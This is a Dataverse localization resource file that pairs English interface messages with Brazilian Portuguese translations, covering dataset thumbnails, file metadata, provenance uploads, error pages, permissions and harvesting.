dataset.thumbnailsAndWidget.thumbnailImage.uploadNew.title	Upload an image file as your dataset thumbnail, which will be stored separately from the data files that belong to your dataset.	Carregue um arquivo de imagem como sua miniatura do conjunto de dados, que será armazenado separadamente dos arquivos de dados que pertencem ao seu conjunto de dados.
dataset.thumbnailsAndWidget.thumbnailImage.upload	Upload Image	Carregar imagem
dataset.thumbnailsAndWidget.thumbnailImage.upload.invalidMsg	The image could not be uploaded. Please try again with a JPG, TIF, or PNG file.	A imagem não pôde ser carregada. Por favor, tente novamente com um arquivo JPG, TIF ou PNG.
dataset.thumbnailsAndWidget.thumbnailImage.alt	Thumbnail image selected for dataset	Thumbnail image selected for dataset
dataset.thumbnailsAndWidget.success	Dataset thumbnail updated.	Miniatura do conjunto de dados atualizada.
dataset.thumbnailsAndWidget.removeThumbnail	Remove Thumbnail	Remover a miniatura
dataset.thumbnailsAndWidget.removeThumbnail.tip	You are only removing this image as the dataset thumbnail, not removing it from your dataset. To do that, go to the Edit Files page.	Você está apenas removendo esta imagem como miniatura do conjunto de dados, não a removendo do seu conjunto de dados. Para fazer isso, vá para a página Editar arquivos.
dataset.thumbnailsAndWidget.availableThumbnails	Available Thumbnails	Miniaturas disponíveis
dataset.thumbnailsAndWidget.availableThumbnails.tip	Select a thumbnail from the data files that belong to your dataset. Continue back to the Thumbnail + Widgets page to save your changes.	Selecione uma miniatura dos arquivos de dados que pertencem ao seu conjunto de dados. Continue de volta para a página Miniatura + Widgets para salvar suas alterações.
file.share.fileShare	Share File	Compartilhar arquivo
file.share.fileShare.tip	Share this file on your favorite social media networks.	Compartilhe este arquivo em suas redes sociais favoritas.
file.share.fileShare.shareText	View this file.	Visualizar este arquivo.
file.title.label	Title	Título
file.citation.label	Citation	Citação
file.citation.notice	This file is part of "{0}".	Este arquivo é parte de "{0}".
file.citation.dataset	Dataset Citation	Citação do Conjunto de Dados
file.citation.datafile	File Citation	Citação de arquivos
file.cite.downloadBtn	Cite Dataset	Cite o conjunto de dados
file.cite.file.downloadBtn	Cite Data File	Cite o arquivo de dados
file.pid.label	File Persistent ID:	ID persistente do arquivo:
file.unf.lable	File UNF:	Arquivo UNF:
file.general.metadata.label	General Metadata	Metadados gerais
file.description.label	Description	Descrição
file.tags.label	Tags	Tags
file.lastupdated.label	Last Updated	Última atualização
file.DatasetVersion	Version	Versão
file.previewTab.tool.open	Open	Open
file.previewTab.header	Preview	Preview
file.metadataTab.fileMetadata.header	File Metadata	Metadados de arquivos
file.metadataTab.fileMetadata.persistentid.label	Data File Persistent ID	ID persistente do arquivo de dados
file.metadataTab.fileMetadata.downloadUrl.label	Download URL	URL de download
file.metadataTab.fileMetadata.downloadUrl.info	Use the Download URL in a Wget command or a download manager to avoid interrupted downloads, time outs or other failures. User Guide - Downloading via URL	Use A URL de download em um comando Wget ou em um gerenciador de downloads para evitar downloads interrompidos, tempos de espera ou outras falhas. Guia do usuário - Download via URL
file.metadataTab.fileMetadata.unf.label	File UNF	Arquivo UNF
file.metadataTab.fileMetadata.size.label	Size	Tamanho
file.metadataTab.fileMetadata.type.label	Type	Tipo
file.metadataTab.fileMetadata.description.label	Description	Descrição
file.metadataTab.fileMetadata.publicationDate.label	Publication Date	Data de Publicação
file.metadataTab.fileMetadata.depositDate.label	Deposit Date	Data do Depósito
file.metadataTab.fileMetadata.hierarchy.label	File Path	Caminho do arquivo
file.metadataTab.fileMetadata.hierarchy.tip	Hierarchical directory structure path used to display file organization and support reproducibility.	Caminho de estrutura de diretórios hierárquico usado para exibir a organização de arquivos e oferecer suporte à reprodutibilidade.
file.metadataTab.fitsMetadata.header	FITS Metadata	Metadados do FITS
file.versionDifferences.noChanges	No changes associated with this version	Nenhuma alteração associada a esta versão
file.versionDifferences.fileNotInVersion	File not included in this version	Arquivo não incluído nesta versão
file.versionDifferences.actionChanged	Changed	Alterado
file.versionDifferences.actionAdded	Added	Adicionado
file.versionDifferences.actionRemoved	Removed	Removido
file.versionDifferences.actionReplaced	Replaced	substituído
file.versionDifferences.fileMetadataGroupTitle	File Metadata	Metadados de arquivos
file.versionDifferences.fileTagsGroupTitle	File Tags	Tags de arquivo
file.versionDifferences.descriptionDetailTitle	Description	Descrição
file.versionDifferences.provenanceDetailTitle	Provenance	Proveniência
file.versionDifferences.fileNameDetailTitle	File Name	Nome do arquivo
file.versionDifferences.fileAccessTitle	File Access	Acesso a arquivos
file.versionDifferences.fileRestricted	Restricted	Restrito
file.versionDifferences.fileUnrestricted	Unrestricted	Irrestrito
file.versionDifferences.fileGroupTitle	File	Arquivo
ingest.csv.invalidHeader	Invalid header row. One of the cells is empty.	Linha de cabeçalho inválida. Uma das células está vazia.
ingest.csv.lineMismatch	Mismatch between line counts in first and final passes!, {0} found on first pass, but {1} found on second.	Incompatibilidade entre contagens de linha no primeiro e último passes! {0} encontrada no primeiro passe, mas {1} encontrada no segundo.
ingest.csv.recordMismatch	Reading mismatch, line {0} of the Data file: {1} delimited values expected, {2} found.	Erro de leitura, linha {0} do arquivo de dados: {1} valores delimitados esperados, {2} encontrados.
ingest.csv.nullStream	Stream can´t be null.	O fluxo não pode ser nulo.
file.edit.error.file_exceeds_limit	This file exceeds the size limit.	Este arquivo excede o limite de tamanho.
file.metadata.datafiletag.not_tabular	You cannot add Tabular Data Tags to a non-tabular file.	Não é possível adicionar tags de dados tabulares a um arquivo não tabular.
file.metadata.filedirectory.invalidCharacters	Directory Name cannot contain invalid characters. Valid characters are a-Z, 0-9, ´_´, ´-´, ´.´, ´\´, ´/´ and ´ ´ (white space).	Nome do Diretório não pode conter caracteres inválidos. Os personagens válidos são a-Z, 0-9, "_", "-", ".", "", "/" e " " (espaço em branco).
file.message.editSuccess	The file has been updated.	Este arquivo foi atualizado.
file.message.deleteSuccess	The file has been deleted.	O arquivo foi excluído.
file.message.replaceSuccess	The file has been replaced.	Este arquivo foi substituído.
file.addreplace.file_size_ok	File size is in range.	O tamanho do arquivo está no intervalo.
file.addreplace.error.byte_abrev	B	B
file.addreplace.error.file_exceeds_limit	This file size ({0}) exceeds the size limit of {1}.	Este tamanho de arquivo ({0}) excede o limite de tamanho de {1}.
file.addreplace.error.dataset_is_null	The dataset cannot be null.	O conjunto de dados não pode ser nulo.
file.addreplace.error.dataset_id_is_null	The dataset ID cannot be null.	O ID do conjunto de dados não pode ser nulo.
find.dataset.error.dataset_id_is_null	When accessing a dataset based on Persistent ID, a {0} query parameter must be present.	Ao acessar um conjunto de dados com base no ID Persistente, um parâmetro de consulta {0} deve estar presente.
find.dataset.error.dataset.not.found.persistentId	Dataset with Persistent ID {0} not found.	O conjunto de dados com ID persistente {0} não foi encontrado.
find.dataset.error.dataset.not.found.id	Dataset with ID {0} not found.	O conjunto de dados com o ID {0} não foi encontrado.
find.dataset.error.dataset.not.found.bad.id	Bad dataset ID number: {0}.	Número incorreto de IDs do conjunto de dados: {0}.
find.datasetlinking.error.not.found.ids	Dataset linking dataverse with dataset ID {0} and dataset linking dataverse ID {1} not found.	O conjunto de dados que vincula o dataverse ao ID do conjunto de dados {0} e o conjunto de dados que vincula o ID do dataverse {1} não foram encontrados.
find.datasetlinking.error.not.found.bad.ids	Bad dataset ID number: {0} or dataset linking dataverse ID number: {1}.	Número incorreto de IDs do conjunto de dados: {0} ou conjunto de dados que vincula o número de ID do dataverse: {1}.
find.dataverselinking.error.not.found.ids	Dataverse linking dataverse with dataverse ID {0} and dataverse linking dataverse ID {1} not found.	Dataverse vinculando o Dataverse com o ID do Daverseper {0} e o Daveraverse vinculando o Dataverse ID {1} não encontrado.
find.dataverselinking.error.not.found.bad.ids	Bad dataverse ID number: {0} or dataverse linking dataverse ID number: {1}.	Número de identificação inválido do dataverse: {0} ou dataverse vinculando o número de identificação do dataverse: {1}.
find.datafile.error.datafile.not.found.id	File with ID {0} not found.	Arquivo com ID {0} não encontrado.
find.datafile.error.datafile.not.found.bad.id	Bad file ID number: {0}.	Número de ID de arquivo incorreto: {0}.
find.datafile.error.dataset.not.found.persistentId	Datafile with Persistent ID {0} not found.	Arquivo de dados com ID persistente {0} não encontrado.
file.addreplace.error.dataset_id_not_found	There was no dataset found for ID:	Não foi encontrado nenhum conjunto de dados para o ID:
file.addreplace.error.no_edit_dataset_permission	You do not have permission to edit this dataset.	Você não tem permissão para editar este conjunto de dados.
file.addreplace.error.filename_undetermined	The file name cannot be determined.	O nome do arquivo não pode ser determinado.
file.addreplace.error.file_content_type_undetermined	The file content type cannot be determined.	O tipo de conteúdo do arquivo não pode ser determinado.
file.addreplace.error.file_upload_failed	The file upload failed.	O upload do arquivo falhou.
file.addreplace.error.duplicate_file	This file already exists in the dataset.	Este arquivo já existe no conjunto de dados.
file.addreplace.error.existing_file_to_replace_id_is_null	The ID of the existing file to replace must be provided.	O ID do arquivo existente a ser substituído deve ser fornecido.
file.addreplace.error.existing_file_to_replace_not_found_by_id	Replacement file not found. There was no file found for ID: {0}	Arquivo de substituição não encontrado. Não foi encontrado nenhum arquivo para o ID: {0}
file.addreplace.error.existing_file_to_replace_is_null	The file to replace cannot be null.	O arquivo a ser substituído não pode ser nulo.
file.addreplace.error.existing_file_to_replace_not_in_dataset	The file to replace does not belong to this dataset.	O arquivo a ser substituído não pertence a este conjunto de dados.
file.addreplace.error.existing_file_not_in_latest_published_version	You cannot replace a file that is not in the most recently published dataset. (The file is unpublished or was deleted from a previous version.)	Não é possível substituir um arquivo que não esteja no conjunto de dados publicado mais recentemente. (O arquivo não foi publicado ou foi excluído de uma versão anterior.)
file.addreplace.content_type.header	File Type Different	Tipo de arquivo diferente
file.addreplace.error.replace.new_file_has_different_content_type	The original file ({0}) and replacement file ({1}) are different file types.	O arquivo original ({0}) e o arquivo de substituição ({1}) são tipos de arquivos diferentes.
file.addreplace.error.replace.new_file_same_as_replacement	Error! You may not replace a file with a file that has duplicate content.	Você não pode substituir um arquivo exatamente pelo mesmo arquivo.
file.addreplace.error.unpublished_file_cannot_be_replaced	You cannot replace an unpublished file. Please delete it instead of replacing it.	Você não pode substituir um arquivo não publicado. Por favor, apague-o em vez de substituí-lo.
file.addreplace.error.ingest_create_file_err	There was an error when trying to add the new file.	Ocorreu um erro ao tentar adicionar o novo arquivo.
file.addreplace.error.initial_file_list_empty	An error occurred and the new file was not added.	Ocorreu um erro e o novo arquivo não foi adicionado.
file.addreplace.error.initial_file_list_more_than_one	You cannot replace a single file with multiple files. The file you uploaded was ingested into multiple files.	Você não pode substituir um único arquivo por vários arquivos. O arquivo que você enviou foi processado em vários arquivos.
file.addreplace.error.final_file_list_empty	There are no files to add. (This error should not happen if steps called in sequence.)	Não há arquivos para adicionar. (Esse erro não deve acontecer se as etapas forem chamadas em sequência.)
file.addreplace.error.only_replace_operation	This should only be called for file replace operations!	Isso deve ser chamado apenas para operações de substituição de arquivo!
file.addreplace.error.failed_to_remove_old_file_from_dataset	Unable to remove old file from new DatasetVersion.	Não é possível remover o arquivo antigo do novo DatasetVersion.
file.addreplace.error.add.add_file_error	Failed to add file to dataset.	Falha ao adicionar arquivo ao conjunto de dados.
file.addreplace.error.phase2_called_early_no_new_files	There was an error saving the dataset - no new files found.	Ocorreu um erro ao salvar o conjunto de dados - nenhum novo arquivo foi encontrado.
file.addreplace.success.add	File successfully added!	Arquivo adicionado com sucesso!
file.addreplace.success.replace	File successfully replaced!	Arquivo substituído com sucesso!
file.addreplace.error.auth	The API key is invalid.	A chave da API é inválida.
file.addreplace.error.invalid_datafile_tag	Not a valid Tabular Data Tag:	Não é uma tag de dados tabulares válida:
error.500.page.title	500 Internal Server Error	500 Erro interno do servidor
error.500.message	Internal Server Error - An unexpected error was encountered, no more information is available.	Erro interno do servidor - Foi encontrado um erro inesperado, não há mais informações disponíveis.
error.404.page.title	404 Not Found	404 não encontrado
error.404.message	Page Not Found - The page you are looking for was not found.	Página não encontrada - A página que você está procurando não foi encontrada.
error.403.page.title	403 Not Authorized	403 não autorizado
error.403.message	Not Authorized - You are not authorized to view this page.	Não autorizado - Você não está autorizado a visualizar esta página.
error.support.message	If you believe this is an error, please contact {0} for assistance.	Se você acredita que isso é um erro, entre em contato com {0} para obter ajuda.
citationFrame.banner.message	If the site below does not load, the archived data can be found in the {0} {1}. {2}	Se o site abaixo não carregar, os dados arquivados podem ser encontrados em {0} {1}. {2}
citationFrame.banner.message.here	here	aqui
citationFrame.banner.closeIcon	Close this message, go to dataset	Feche esta mensagem, vá para o conjunto de dados
citationFrame.banner.countdownMessage	This message will close in	Esta mensagem será encerrada em
citationFrame.banner.countdownMessage.seconds	seconds	segundos
dataset.access.accessHeader	Restrict Access	Restrições de arquivos
dataset.AddReplication	Add "Replication Data for" to Title	Adicionar "Dados de replicação para" ao título
dataset.replicationDataFor	Replication Data for:	Dados de replicação para:
mydataFragment.infoAccess	Here are all the dataverses, datasets, and files you have access to. You can filter through them by publication status and roles.	Aqui estão todos os dataverses, conjuntos de dados e arquivos aos quais você tem acesso. Você pode filtrá-los por status e funções de publicação.
mydataFragment.moreResults	View More Results	Ver mais resultados
mydataFragment.publicationStatus	Publication Status	Status da Publicação
mydataFragment.roles	Roles	Papéis
mydataFragment.resultsByUserName	Results by Username	Resultados por nome de usuário
mydataFragment.search	Search my data...	Pesquisar meus dados ...
mydata.result	Result	Resultado
mydata.results	Results	Resultados
mydata.viewnext	View Next	Ver próximo
mydata.more	More	Mais
file.provenance	Provenance	Proveniência
file.editProvenanceDialog	Provenance	Proveniência
file.editProvenanceDialog.tip	Provenance is a record of the origin of your data file and any transformations it has been through. Upload a JSON file from a provenance capture tool to generate a graph of your data´´s provenance. For more information, please refer to our User Guide.	Proveniência é um registro da origem de seu arquivo de dados e de quaisquer transformações pelas quais ele tenha passado. Faça o upload de um arquivo JSON de uma ferramenta de captura de proveniência para gerar um gráfico da proveniência de seus dados. Para obter mais informações, consulte nosso Guia do usuário.
file.editProvenanceDialog.uploadSuccess	Upload complete	Upload concluído
file.editProvenanceDialog.uploadError	An error occurred during upload and parsing of your provenance file.	Ocorreu um erro durante o upload e a análise do seu arquivo de proveniência.
file.editProvenanceDialog.noEntitiesError	The uploaded provenance file does not contain any entities that can be related to your Data File.	O arquivo de proveniência carregado não contém entidades que possam estar relacionadas ao seu arquivo de dados.
file.editProvenanceDialog.invalidSchemaError	The uploaded provenance file does not comply with the W3C Provenance standard.	O arquivo de proveniência carregado não está em conformidade com o padrão W3C Provenance.
file.editProvenanceDialog.bundleFile	Provenance File	Arquivo de Proveniência
file.editProvenanceDialog.bundleFile.instructions	File must be JSON format and follow the W3C standard.	O arquivo deve ter formato JSON e seguir o padrão W3C.
file.editProvenanceDialog.bundleFile.alreadyPublished	This Provenance File has been published and cannot be replaced or removed.	Este arquivo de proveniência foi publicado e não pode ser substituído ou removido.
file.editProvenanceDialog.bundleEntity	Data File Entity	Entidade do arquivo de dados
file.editProvenanceDialog.bundleEntity.placeholder	Connect entity...	Conectar entidade ...
file.editProvenanceDialog.bundleEntity.requiredValidation	Value is required.	O valor é obrigatório.
file.editProvenanceDialog.bundleEntity.tip	Select the entity in your provenance file which represents your data file.	Selecione a entidade em seu arquivo de proveniência que representa seu arquivo de dados.
file.editProvenanceDialog.bundleEntity.nameHeader	Name	Nome
file.editProvenanceDialog.bundleEntity.typeHeader	Type	Tipo
file.editProvenanceDialog.bundleEntity.entityHeader	Entity	Entidade
file.editProvenanceDialog.selectToAddBtn	Select File	Selecione o arquivo
file.editProvenanceDialog.description.tip	You may also add information documenting the history of your data file, including how it was created, how it has changed, and who has worked with it.	Você também pode adicionar informações documentando o histórico do seu arquivo de dados, incluindo como ele foi criado, como ele mudou e quem trabalhou com ele.
file.editProvenanceDialog.description	Provenance Description	Descrição da Proveniência
file.editProvenanceDialog.description.placeholder	Add provenance description...	Adicionar descrição de proveniência ...
file.confirmProvenanceDialog	Provenance	Proveniência
file.confirmProvenanceDialog.tip1	Once you publish this dataset, your provenance file can not be edited or replaced.	Depois de publicar este conjunto de dados, seu arquivo de proveniência não pode ser editado ou substituído.
file.confirmProvenanceDialog.tip2	Select "Cancel" to return the previous page, where you can preview your provenance file to confirm it is correct.	Selecione "Cancelar" para retornar a página anterior, onde você pode visualizar seu arquivo de proveniência para confirmar se está correto.
file.metadataTab.provenance.header	File Provenance	Proveniência do arquivo
file.metadataTab.provenance.body	File Provenance information coming in a later release...	As informações de proveniência de arquivo estão chegando em uma versão posterior ...
file.metadataTab.provenance.error	Due to an internal error, your provenance information was not correctly saved.	Devido a um erro interno, suas informações de proveniência não foram salvas corretamente.
file.metadataTab.provenance.message	Your provenance information has been received. Please click Save Changes below to ensure all data is added to your dataset.	Suas informações de proveniência foram recebidas. Por favor, clique em Salvar alterações abaixo para garantir que todos os dados sejam adicionados ao seu conjunto de dados.
file.provConfirm.unpublished.json	Your Provenance File will become permanent upon publishing your dataset. Please preview to confirm before publishing.	Seu arquivo de proveniência se tornará permanente ao publicar seu conjunto de dados. Por favor, visualize para confirmar antes de publicar.
file.provConfirm.published.json	Your Provenance File will become permanent once you click Save Changes. Please preview to confirm before you Save Changes.	Seu arquivo de proveniência se tornará permanente quando você clicar em Salvar alterações. Por favor, visualize para confirmar antes de salvar as alterações.
file.provConfirm.freeform	Your Provenance Description is not permanent; it can be updated at any time.	Sua Descrição de Proveniência não é permanente. Ela pode ser atualizada a qualquer momento.
file.provConfirm.empty	No changes have been made.	Nenhuma alteração foi feita.
file.provAlert.published.json	Your Provenance File changes have been saved to the Dataset.	As alterações do seu arquivo de provisão foram salvas no conjunto de dados.
file.provAlert.unpublished.json	Your Provenance File changes will be saved to this version of the Dataset once you click on the Save Changes button.	As alterações do seu arquivo de provisão serão salvas nesta versão do conjunto de dados assim que você clicar no botão Salvar alterações.
file.provAlert.freeform	Your Provenance Description changes will be saved to this version of the Dataset once you click on the Save Changes button.	As alterações em sua descrição de proveniência serão salvas nesta versão do conjunto de dados assim que você clicar no botão Salvar alterações.
file.provAlert.filePage.published.json	Your Provenance File changes have been saved to the Dataset.	As alterações no seu arquivo de provisão foram salvas no conjunto de dados.
file.provAlert.filePage.unpublished.json	Your Provenance File changes have been saved to this version of the Dataset.	As alterações do seu arquivo de provisão foram salvas nesta versão do conjunto de dados.
file.provAlert.filePage.freeform	Your Provenance Description changes have been saved to this version of the Dataset.	Suas alterações na Descrição de Proveniência foram salvas nesta versão do Conjunto de Dados.
api.prov.provJsonSaved	PROV-JSON provenance data saved for Data File:	Dados de proveniência do PROV-JSON salvos para o arquivo de dados:
api.prov.provJsonDeleted	PROV-JSON deleted for the selected Data File.	PROV-JSON excluído para o arquivo de dados selecionado.
api.prov.error.provDisabled	This functionality has been administratively disabled.	Esta funcionalidade foi desativada administrativamente.
api.prov.error.badDataFileId	Invalid DataFile ID.	ID de arquivo de dados inválido.
api.prov.error.jsonUpdateNotAllowed	PROV-JSON cannot be updated for a published file that already has PROV-JSON.	O PROV-JSON não pode ser atualizado para um arquivo publicado que já possui o PROV-JSON.
api.prov.error.entityMismatch	Entity name provided does not match any entities parsed from the uploaded PROV-JSON.	O nome da entidade fornecido não corresponde a nenhuma entidade analisada do PROV-JSON carregado.
api.prov.error.jsonDeleteNotAllowed	PROV-JSON cannot be deleted for a published file.	O PROV-JSON não pode ser excluído para um arquivo publicado.
api.prov.error.jsonNoContent	No provenance json available for this file.	Nenhum json de proveniência disponível para este arquivo.
api.prov.error.freeformInvalidJson	A valid JSON object could not be found.	Um objeto JSON válido não pôde ser encontrado.
api.prov.error.freeformMissingJsonKey	The JSON object you send must have a key called ´text´.	O objeto JSON que você envia deve ter uma chave chamada "texto".
api.prov.error.freeformNoText	No provenance free form text available for this file.	Nenhum texto de formulário livre de proveniência disponível para este arquivo.
api.prov.error.noDataFileFound	Could not find a file based on ID.	Não foi possível encontrar um arquivo com base no ID.
bagit.sourceOrganization	Dataverse Installation ()	Instalação do Dataverse ()
bagit.sourceOrganizationAddress
bagit.sourceOrganizationEmail
permission.addDataverseDataverse	Add a dataverse within another dataverse	Adicionar um dataverse dentro de outro dataverse
permission.deleteDataset	Delete a dataset draft	Excluir um rascunho do conjunto de dados
permission.deleteDataverse	Delete an unpublished dataverse	Excluir um dataverse não publicado
permission.publishDataset	Publish a dataset	Publicar um conjunto de dados
permission.publishDataverse	Publish a dataverse	Publicar um dataverse
permission.managePermissionsDataset	Manage permissions for a dataset	Gerenciar permissões para um conjunto de dados
permission.managePermissionsDataverse	Manage permissions for a dataverse	Gerenciar permissões para um dataverse
permission.editDataset	Edit a dataset´s metadata	Editar os metadados de um conjunto de dados
permission.editDataverse	Edit a dataverse´s metadata, facets, customization, and templates	Editar metadados, facetas, personalização e modelos de um dataverse
permission.downloadFile	Download a file	Baixar um arquivo
permission.viewUnpublishedDataset	View an unpublished dataset and its files	Visualizar um conjunto de dados não publicado e seus arquivos
permission.viewUnpublishedDataverse	View an unpublished dataverse	Ver um dataverse não publicado
permission.addDatasetDataverse	Add a dataset to a dataverse	Adicionar um conjunto de dados a um dataverse
userPage.informationUpdated	Your account information has been successfully updated.	As informações da sua conta foram atualizadas com sucesso.
userPage.passwordChanged	Your account password has been successfully changed.	A senha da sua conta foi alterada com sucesso.
confirmEmail.changed	Your email address has changed and must be re-verified. Please check your inbox at {0} and follow the link we´´ve sent. Also, please note that the link will only work for the next {1} before it has expired.	"Seu endereço de e-mail foi alterado e deve ser verificado novamente. Por favor, verifique sua caixa de entrada em {0} e siga o link que enviamos. Além disso, observe que o link funcionará somente para o próximo {1} antes de expirar."
dataset.category.documentation	Documentation	Documentação
dataset.category.data	Data	Data
dataset.category.code	Code	Código
dataset.version.file.added	Files (Added: {0}	Arquivos (adicionados: {0}
dataset.version.file.removed	Files (Removed: {0}	Arquivos (removidos: {0}
dataset.version.file.removed2	; Removed: {0}	; Removido: {0}
dataset.version.file.replaced	Files (Replaced: {0}	Arquivos (substituídos: {0}
dataset.version.file.replaced2	; Replaced: {0}	; Substituído: {0}
dataset.version.file.changed	Files (Changed File Metadata: {0}	Arquivos (Metadados de arquivos alterados: {0}
dataset.version.file.changed2	; Changed File Metadata: {0}	; Metadados de arquivos alterados: {0}
dataset.version.variablemetadata.changed	Variable Metadata (Changed Variable Metadata: {0}	Metadados variáveis (metadados variáveis alterados: {0}
dataset.version.variablemetadata.changed2	; Changed Variable Metadata: {0}	; Metadados variáveis alterados: {0}
dataverse.item.required	Required	Obrigatório
dataverse.item.optional	Optional	Opcional
dataverse.item.hidden	Hidden	Oculto
dataverse.edit.msg	Edit Dataverse	Editar Dataverse
dataverse.edit.detailmsg	Edit your dataverse and click Save Changes. Asterisks indicate required fields.	Edite seu dataverse e clique em Salvar alterações. Os asteriscos indicam campos obrigatórios.
dataverse.feature.update	The featured dataverses for this dataverse have been updated.	Os dataverses em destaque para este dataverse foram atualizados.
dataverse.link.select	You must select a linking dataverse.	Você deve selecionar um dataverse de vinculação.
dataset.noSelectedDataverse.header	Select Dataverse(s)	Selecione a Comunidade(s) Dataverse(s)
dataverse.link.user	Only authenticated users can link a dataverse.	Somente usuários autenticados podem vincular um dataverse.
dataverse.link.error	Unable to link {0} to {1}. An internal error occurred.	Não é possível ligar {0} a {1}. Ocorreu um erro interno.
dataverse.search.user	Only authenticated users can save a search.	Apenas usuários autenticados podem salvar uma pesquisa.
dataverse.alias	alias	alias
dataverse.alias.taken	This Alias is already taken.	Esse Alias já foi usado.
dataset.save.fail	Dataset Save Failed	Falha no conjunto de dados falhou
dataset.files.exist	Files {0} have the same content as {1} that already exists in the dataset.	Os arquivos a seguir já existem no conjunto de dados:
dataset.file.exist	File {0} has the same content as {1} that already exists in the dataset.	O seguinte arquivo já existe no conjunto de dados:
dataset.files.duplicate	Files {0} have the same content as {1} that have already been uploaded.	Os seguintes arquivos são duplicados de(um) arquivo(s) carregado(s):
dataset.file.duplicate	File {0} has the same content as {1} that has already been uploaded.	O arquivo a seguir é uma duplicata de um arquivo já carregado:
dataset.file.skip	(skipping)	(pular)
dataset.file.upload	Successful {0} is uploaded.	Bem-sucedido {0} é carregado.
dataset.file.uploadFailure	upload failure	falha de upload
dataset.file.uploadFailure.detailmsg	the file {0} failed to upload!	o arquivo {0} falhou ao carregar!
dataset.file.uploadWarning	upload warning	aviso de upload
dataset.file.uploadWorked	upload worked	upload trabalhado
email.invalid	is not a valid email address.	não é um endereço de e-mail válido.
url.invalid	is not a valid URL.	não é um URL válido.
harvest.start.error	Sorry, harvest could not be started for the selected harvesting client configuration (unknown server error).	Desculpe, a coleta não pôde ser iniciada para a configuração selecionada do cliente de colheita (erro de servidor desconhecido).
harvest.delete.error	Selected harvesting client cannot be deleted; unknown exception:	Cliente colhedor selecionado não pode ser excluído, Exceção desconhecida:
harvest.create.error	Failed to create a new Harvesting Client configuration: no destination dataverse selected.	Falha ao criar uma nova configuração do cliente de colheita: nenhum destino de dados de destino selecionado.
harvest.createCommand.error	Harvesting client creation command failed	Falha ao executar o comando de criação do cliente de colheita
harvest.create.fail	Harvesting client creation failed (reason unknown).	Falha na criação do cliente de colheita (motivo desconhecido).
harvest.update.success	Successfully updated harvesting client	Cliente de colheita atualizado com sucesso
harvest.save.failure1	Failed to save harvesting client	Falha ao salvar cliente de colheita
harvest.save.failure2	Failed to save harvesting client (reason unknown).	Falha ao salvar cliente de colheita (motivo desconhecido).
harvest.oaicreate.fail	Failed to create OAI set	Falha ao criar o conjunto OAI
harvest.oaicreate.defaultset.fail	Failed to create the default OAI set	Falha ao criar o conjunto OAI padrão
harvest.oaiupdate.fail	Failed to update OAI set.	Falha ao atualizar o conjunto OAI.
harvest.oaiupdate.success	Successfully updated OAI set "{0}".	Conjunto OAI atualizado com êxito "{0}".
harvest.delete.fail	Failed to delete harvesting set; unknown exception:	Falha ao excluir o conjunto de coleta, exceção desconhecida:
harvest.reexport.fail	Sorry, could not start re-export on selected OAI set (unknown server error).	Desculpe, não foi possível iniciar a reexportação no conjunto OAI selecionado (erro de servidor desconhecido).
harvest.search.failed	Search failed for the query provided. Message from the Dataverse search server:	A pesquisa falhou para a consulta fornecida. Mensagem do servidor de pesquisa do Dataverse:
login.Username/Email	Please enter a Username	Por favor, digite um nome de usuário
login.Password	Please enter a Password	Por favor, digite uma senha
system.app.terms	There are no Terms of Use for this Dataverse installation.	Não há Termos de Uso para esta instalação do Dataverse.
system.api.terms	There are no API Terms of Use for this Dataverse installation.	Não há Termos de Uso da API para esta instalação do Dataverse.
dataverse.notreleased	DataverseNotReleased	DataverseNotReleased
dataverse.release.authenticatedUsersOnly	Only authenticated users can release a dataverse.	Somente usuários autenticados podem liberar um dataverse.
dataset.registration.failed	Dataset Registration Failed	Falha no registro do conjunto de dados
dataset.registered	DatasetRegistered	DatasetRegistered
dataset.registered.msg	Your dataset is now registered.	O seu conjunto de dados está agora registrado.
dataset.notlinked	DatasetNotLinked	DatasetNotLinked
dataset.notlinked.msg	There was a problem linking this dataset to yours:	Houve um problema ao vincular este conjunto de dados ao seu:
datasetversion.archive.success	Archival copy of Version successfully submitted	Cópia arquivística da versão enviada com sucesso
datasetversion.archive.failure	Error in submitting an archival copy	Erro ao enviar uma cópia de arquivo
datasetversion.update.failure	Dataset Version Update failed. Changes are still in the DRAFT version.	Falha na atualização da versão do conjunto de dados. As alterações ainda estão na versão RASCUNHO.
datasetversion.update.archive.failure	Dataset Version Update succeeded, but the attempt to update the archival copy failed.	Atualização da versão do conjunto de dados teve êxito, mas a tentativa de atualizar a cópia de arquivamento falhou.
datasetversion.update.success	The published version of your Dataset has been updated.	A versão publicada do seu conjunto de dados foi atualizada.
datasetversion.update.archive.success	The published version of your Dataset, and its archival copy, have been updated.	A versão publicada do seu conjunto de dados e sua cópia de arquivamento foram atualizadas.
theme.validateTagline	Tagline must be at most 140 characters.	O slogan deve ter no máximo 140 caracteres.
theme.urlValidate	URL validation failed.	A validação dA URL falhou.
theme.urlValidate.msg	Please provide URL.	Por favor, forneça A URL.
dataverse.save.failed	Dataverse Save Failed -	Salvar Falha no Dataverse -
link.tagline.validate	Please enter a tagline for the website to be hyperlinked with.	Por favor, insira um slogan para o website ser vinculado a.
template.save.fail	Template Save Failed	Salvar modelo falhou
template.create	Template has been created.	O modelo foi criado.
template.save	Template has been edited and saved.	O modelo foi editado e salvo.
guestbook.save.fail	Guestbook Save Failed	Falha na atualização do livro de visitas
guestbook.option.msg	- An Option question requires multiple options. Please complete before saving.	- Uma questão de opção requer várias opções. Por favor, preencha antes de salvar.
guestbook.create	The guestbook has been created.	O livro de visitas foi criado.
guestbook.save	The guestbook has been edited and saved.	O livro de visitas foi editado e salvo.
shib.invalidEmailAddress	The SAML assertion contained an invalid email address: "{0}".	A declaração SAML continha um endereço de e-mail inválido: "{0}".
shib.emailAddress.error	A single valid address could not be found.	Não foi possível encontrar um único endereço válido.
shib.nullerror	The SAML assertion for "{0}" was null. Please contact support.	A declaração de SAML para "{0}" era nula. Por favor entre em contato com o suporte.
dataverse.shib.success	Your Dataverse account is now associated with your institutional account.	Sua conta do Dataverse agora está associada à sua conta institucional.
shib.createUser.fail	Couldn´t create user.	Não foi possível criar usuário.
shib.duplicate.email.error	Cannot login, because the e-mail address associated with it has changed since previous login and is already in use by another account.	Não é possível fazer login, porque o endereço de e-mail associado a ela foi alterado desde o login anterior e já está sendo usado por outra conta.
ingest.failed	ingest failed	falha na ingestão
permission.roleWasRemoved	{0} role for {1} was removed.	{0} papel para {1} foi removido.
permission.defaultPermissionDataverseUpdated	The default permissions for this dataverse have been updated.	As permissões padrão para este dataverse foram atualizadas.
permission.roleAssignedToFor	{0} role assigned to {1} for {2}.	{0} função atribuída a {1} para {2}.
permission.roleNotAssignedFor	{0} role could NOT be assigned to {1} for {2}. It may be assigned already.	{0} papel NÃO pôde ser atribuído a {1} para {2}.
permission.updated	updated	atualizado
permission.created	created	criado
